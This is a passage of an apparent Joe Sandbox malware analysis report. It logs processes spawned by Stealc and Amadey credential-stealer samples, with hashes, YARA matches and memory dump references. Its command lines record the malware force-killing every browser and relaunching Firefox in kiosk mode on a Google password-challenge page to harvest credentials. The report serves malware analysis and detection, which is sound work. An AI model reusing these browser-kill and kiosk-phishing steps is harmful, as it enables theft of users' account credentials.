00000010.00000003.2389420379.0000000000682000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2430672698.0000000000682000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2368992394.0000000000682000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	07:37:05
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x20000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	07:37:05
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	07:37:05
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x20000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	07:37:05
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	07:37:06
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x20000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	07:37:06
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	07:37:06
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	07:37:07
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	07:37:07
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	07:37:07
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002608001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002608001\num.exe"
Imagebase:	0xd10000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000002.2360101819.0000000000D11000.00000080.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000000.2344313547.0000000000D2E000.00000002.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000000.2344210993.0000000000D11000.00000080.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000002.2360865122.0000000000D2E000.00000002.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000002.2363112803.000000000159E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	07:37:08
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8bf06fec-0dcd-48c2-953a-7c50b40f4239} 5928 "\\.\pipe\gecko-crash-server-pipe.5928" 2b9a4e6df10 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	07:37:13
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe"
Imagebase:	0xf70000
File size:	2'136'064 bytes
MD5 hash:	9EC79EAC864343887ECDF94B7D236918
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.2520754609.0000000000F71000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.2516702387.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000003.2426511088.0000000005170000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	07:37:15
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4288 -parentBuildID 20230927232528 -prefsHandle 4664 -prefMapHandle 4200 -prefsLen 26431 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0f1f2212-7e79-4ebe-a85e-e2d9c0caa83f} 5928 "\\.\pipe\gecko-crash-server-pipe.5928" 2b9b6ee1210 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	07:37:16
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe"
Imagebase:	0x970000
File size:	2'895'872 bytes
MD5 hash:	6EB4B86646866EA6FA65E78F6D15E44A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 35%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	07:37:21
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe"
Imagebase:	0xe0000
File size:	1'933'824 bytes
MD5 hash:	8E78C36254328BDAFF299220F0FC1D82
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000002.2557479019.00000000000E1000.00000040.00000001.01000000.0000001C.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000003.2516417905.0000000004E70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	07:37:21
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe"
Imagebase:	0xc50000
File size:	919'552 bytes
MD5 hash:	388A4D9E5A5EC3446324F1DCFEE1F8DB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	07:37:22
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x20000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	07:37:22
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	07:37:30
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002608001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002608001\num.exe"
Imagebase:	0xd10000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000000.2573310772.0000000000D2E000.00000002.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000000.2573197213.0000000000D11000.00000080.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.2590932503.0000000000D11000.00000080.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.2591047793.0000000000D2E000.00000002.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.2588992623.00000000004D8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	07:37:33
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe"
Imagebase:	0x610000
File size:	2'895'872 bytes
MD5 hash:	6EB4B86646866EA6FA65E78F6D15E44A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 35%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	07:37:33
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x20000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	07:37:33
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	07:37:33
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x20000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	07:37:33
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	07:37:34
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x20000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	07:37:34
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	07:37:34
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x20000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	07:37:34
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	07:37:35
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe"
Imagebase:	0x990000
File size:	1'933'824 bytes
MD5 hash:	8E78C36254328BDAFF299220F0FC1D82
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	07:37:35
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	07:37:35
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	07:37:36
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2240 -prefMapHandle 2220 -prefsLen 25416 -prefMapSize 238941 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4d9e7d52-f4a7-4cd9-91e8-b4288aaa4407} 8032 "\\.\pipe\gecko-crash-server-pipe.8032" 23e7356d710 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	41.9%
Signature Coverage:	9.7%
Total number of Nodes:	31
Total number of Limit Nodes:	1

Executed Functions

Function 04AC15D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 04AC18C8

Memory Dump Source

Source File: 00000004.00000002.2177998310.0000000004AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ac0000_GVDV7NGS54W9A7T64.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 1987ace47dce51a8def2c737bcba248a8a7e79782a1cfc8fb9a8ddad97501540
Instruction ID: c77d4aa759863ac40be57f9855c2336a712919b0a846a95325bf57e85d5b329f
Opcode Fuzzy Hash: 1987ace47dce51a8def2c737bcba248a8a7e79782a1cfc8fb9a8ddad97501540
Instruction Fuzzy Hash: 90C15870E006599FEB50CFA9C8857AEBBF1FF49314F148629E854E7285DB74A881CF81

Function 0116C6A2 Relevance: 1.5, APIs: 1, Instructions: 42
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 0116C6E9

Memory Dump Source

Source File: 00000004.00000002.2174884320.0000000001166000.00000040.00000001.01000000.00000006.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000004.00000002.2174602939.0000000000FD0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174629475.0000000000FD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174655497.0000000000FD6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174682037.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174719681.0000000000FE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174826522.000000000114D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174853739.000000000114F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174884320.0000000001171000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174940769.0000000001187000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174966798.0000000001188000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174992078.0000000001189000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175020102.000000000118B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175049083.000000000118C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175078157.000000000118E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175112451.00000000011A5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175140640.00000000011A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175169294.00000000011A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175199767.00000000011A9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175228267.00000000011AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175257432.00000000011B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175285832.00000000011B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175319090.00000000011C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175351870.00000000011CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175381493.00000000011CD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175417350.00000000011E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175446192.00000000011E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175476517.00000000011EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175510123.00000000011EE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175543284.00000000011EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175575687.00000000011F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175605213.00000000011F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175635969.00000000011FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175669583.000000000120C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175703110.0000000001214000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175733304.000000000121E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175764717.0000000001226000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175800356.0000000001237000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175831128.000000000123A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175882858.0000000001282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175882858.000000000128A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175952664.0000000001298000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2176296714.000000000129A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fd0000_GVDV7NGS54W9A7T64.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7b8c11b9acd43e79a174b15cc84bfb29f2d6bd55503d381b20fed8cc325998d1
Instruction ID: 53a13b025616be3ef3bac95804e73a1d2a98fbbeb04f01aac7422eeb20c18ee5
Opcode Fuzzy Hash: 7b8c11b9acd43e79a174b15cc84bfb29f2d6bd55503d381b20fed8cc325998d1
Instruction Fuzzy Hash: A7F028B210C3D26EE70B9E604C70BBA7B59CF6610471C508BE8C4CB183D3411C258369

Function 00FDB7EA Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

!!iH, xrefs: 00FDB95A

Memory Dump Source

Source File: 00000004.00000002.2174682037.0000000000FDA000.00000040.00000001.01000000.00000006.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000004.00000002.2174602939.0000000000FD0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174629475.0000000000FD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174655497.0000000000FD6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174719681.0000000000FE6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174826522.000000000114D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174853739.000000000114F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174884320.0000000001166000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174884320.0000000001171000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174940769.0000000001187000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174966798.0000000001188000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2174992078.0000000001189000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175020102.000000000118B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175049083.000000000118C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175078157.000000000118E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175112451.00000000011A5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175140640.00000000011A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175169294.00000000011A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175199767.00000000011A9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175228267.00000000011AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175257432.00000000011B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175285832.00000000011B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175319090.00000000011C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175351870.00000000011CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175381493.00000000011CD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175417350.00000000011E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175446192.00000000011E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175476517.00000000011EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175510123.00000000011EE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175543284.00000000011EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175575687.00000000011F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175605213.00000000011F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2175635969.00000000011FD000.00000040.00000001.01000000.00000006.sdmpDownload File
